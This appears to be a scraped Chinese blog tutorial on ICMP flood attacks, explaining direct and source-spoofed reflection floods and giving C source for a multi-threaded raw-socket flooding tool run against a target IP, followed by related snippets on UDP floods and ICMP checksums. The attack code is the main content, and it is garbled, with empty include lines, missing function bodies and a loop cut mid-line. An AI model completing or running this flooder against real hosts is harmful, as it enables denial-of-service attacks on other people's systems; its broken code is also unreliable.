Linux網路程式設計 ICMP洪水攻擊

2021-07-05 18:13:32 字數 2053 閱讀 4859

一、icmp洪水攻擊的原理

icmp flood 是一種在ping基礎上形成的,但是用ping程式很少能造成目標機宕機的問題,這裡邊最大的問題是提高處理的速度,icmp洪水攻擊主要有以下3種方式。

(1)直接洪水攻擊:這樣做需要本地主機的頻寬與目標主機之間頻寬進行比拼,可以採用多執行緒的方法一次性得傳送多個icmp請求報文,讓目標主機處理過程出現問題而速度緩慢或者宕機。直接攻擊的方法有乙個缺點,就是可以根據**的ip位址遮蔽攻擊源,並且目標源容易暴露,被對方**擊。

(3)反射攻擊:與直接攻擊和偽裝攻擊不同,反射攻擊不是直接對目標機進行攻擊,而是讓其他一群主機誤以為目標機在向它們傳送icmp請求包,一群主機向目標機傳送icmp回應包,攻擊方向一群主機傳送icmp請求,將請求的源位址偽裝成目標機的ip位址,這樣目標機就成了icmp回顯反射的焦點。

//icmp攻擊

//使用方式:./icmp ip(網域名稱)

#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include //最多執行緒數

#define maxchild 128

//目的ip位址

struct sockaddr_in dest;

//icmp協議的值

static int proto_icmp = -1;

//程式活動標誌

static int alive = -1;

static int rawsock;

static void dos_icmp (void )

void *dos_fun (void * ip)

return null;

}//訊號處理函式,設定退出變數alive

void dos_sig(int signo)

int main(int argc, char *argv)

// 獲取協議型別icmp

protocol = getprotobyname(protoname); //獲取指定協議的資訊

if (protocol == null)

proto_icmp = protocol->p_proto; //icmp協議的值

//輸入的目的位址為字串ip位址

dest.sin_addr.s_addr = inet_addr(argv[1]);

if(dest.sin_addr.s_addr == inaddr_none)

char str[30];

// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));

// dest.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

inet_aton(inet_ntop(host->h_addrtype,host->h_addr,str,30),&(dest.sin_addr));

}//printf("dst ip: %s\n", inet_ntoa(dest.sin_addr));

// 建立原始socket

rawsock = socket (af_inet, sock_raw, proto_icmp);

if (rawsock < 0)

// 設定ip選項,自己構建ip報頭部

setsockopt (rawsock,ipproto_ip, ip_hdrincl, &on, sizeof(on));

//建立多個執行緒協同工作

for(i=0; ilinux網路程式設計---icmp協議分析及ping程式實現,這裡面有詳細說明,理解了這個,再看這個例子就非常簡單了。

抓包展示:

Linux網路程式設計 UDP洪水攻擊

udp攻擊,又稱udp洪水攻擊或udp淹沒攻擊 英文 udp flood attack 是導致基於主機的服務拒絕攻擊的一種。udp 是一種無連線的協議,而且它不需要用任何程式建立連線來傳輸資料。當受害系統接收到乙個 udp 資料報的時候,它會確定目的埠正在等待中的 應用程式。當它發現該埠中並不存在正...

Linux網路程式設計之UDP洪水攻擊

1.概述 udp攻擊向目標主機的udp埠傳送大量的udp報文,造成目標主機的埠堵塞,達到攻擊的目的。建立多執行緒,利用原始套接字封裝udp與ip的首部,然後傳送udp報文,攻擊目標主機.2.udp攻擊例項 include include include include include include...

linux之網路程式設計ICMP校驗演算法

unsigned short cal chksum unsigned short addr,int len 若icmp報頭為奇數個位元組,會剩下最後一位元組。把最後乙個位元組視為乙個2位元組資料的高位元組,這個2位元組資料的低位元組為0,繼續累加 if nleft 1 校驗和是以16位為單位進行求和...